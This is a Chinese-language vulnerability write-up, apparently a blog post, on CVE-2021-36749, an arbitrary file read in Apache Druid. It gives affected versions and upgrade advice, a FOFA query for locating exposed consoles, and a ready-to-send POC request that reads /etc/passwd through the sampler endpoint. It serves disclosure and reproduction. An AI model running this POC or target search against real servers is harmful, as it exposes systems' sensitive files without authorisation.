CVE-2021-36749 Apache Druid LoadData 任意文件读取漏洞

事件背景
近日,Apache Druid 任意文件读取漏洞细节及 EXP 在互联网公开,攻击者可通过将文件 URL 传递给 HTTP InputSource 来绕过应用程序级别的限制。由于 Apache Druid 默认情况下是缺乏授权认证,攻击者可构造恶意请求,在未授权情况下利用该漏洞读取系统任意文件,最终导致服务器敏感信息泄露。此次受影响 Apache Druid 版本如下:
Apache  Druid版本
是否受影响
Version < 0.22 是
Version >=0.22 否

漏洞概况
Apache Druid 是一个实时分析型数据库,旨在对大型数据集进行快速的查询分析。Druid 最常被当做数据库来用以支持实时摄取、高性能查询和高稳定运行的应用场景,也通常被用来助力分析型应用的图形化界面,或者当做需要快速聚合的高并发后端 API,Druid 最适合应用于面向事件类型的数据。

在 Apache Druid 系统中,InputSource 用于从某个数据源读取数据。由于没有对用户可控的 HTTP InputSource 做限制,Apache Druid 允许经过身份验证的用户以 Druid 服务器进程的权限从指定数据源读取数据,包括本地文件系统。攻击者可通过将文件 URL 传递给 HTTP InputSource 来绕过应用程序级别的限制。由于 Apache Druid 默认情况下缺乏授权认证,攻击者可构造恶意请求,在未授权情况下利用该漏洞读取任意文件,最终导致服务器敏感信息泄露。

修复方案
官方已发布漏洞补丁及修复版本,请评估业务是否受影响后,酌情升级至安全版本,或设置访问权限!

相关官方最新版本下载地址如下:

Apache Downloads

漏洞复现

0x00 漏洞详情
由于用户指定 HTTP InputSource 没有做出限制,可以通过将文件 URL 传递给 HTTP InputSource 来绕过应用程序级别的限制。攻击者可利用该漏洞在未授权情况下,构造恶意请求执行文件读取,最终造成服务器敏感性信息泄露。

0x01 fofa语法
title="Apache Druid"

 

0x02 漏洞复现
主界面–>Load data –>HTTP(s)–>Connect Data–>URIs(使用file://协议进行读取)

Load data

 

HTTP(s)

 

Connect Data

 

URIs(使用file://协议进行读取)

file:///etc/passwd

 

0x03 POC

POST /druid/indexer/v1/sampler?for=connect HTTP/1.1
Host: 127.0.0.1:8888
Content-Length: 413
Accept: application/json, text/plain, */*
Origin: http://127.0.0.1:8888
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.81 Safari/537.36 SE 2.X MetaSr 1.0
Content-Type: application/json;charset=UTF-8
Referer: http://127.0.0.1:8888/unified-console.html
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

{"type":"index","spec":{"type":"index","ioConfig":{"type":"index","firehose":{"type":"http","uris":["file:///etc/passwd"]}},"dataSchema":{"dataSource":"sample","parser":{"type":"string","parseSpec":{"format":"regex","pattern":"(.*)","columns":["a"],"dimensionsSpec":{},"timestampSpec":{"column":"!!!_no_such_column_!!!","missingValue":"2010-01-01T00:00:00Z"}}}}},"samplerConfig":{"numRows":500,"timeoutMs":15000}}

 

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值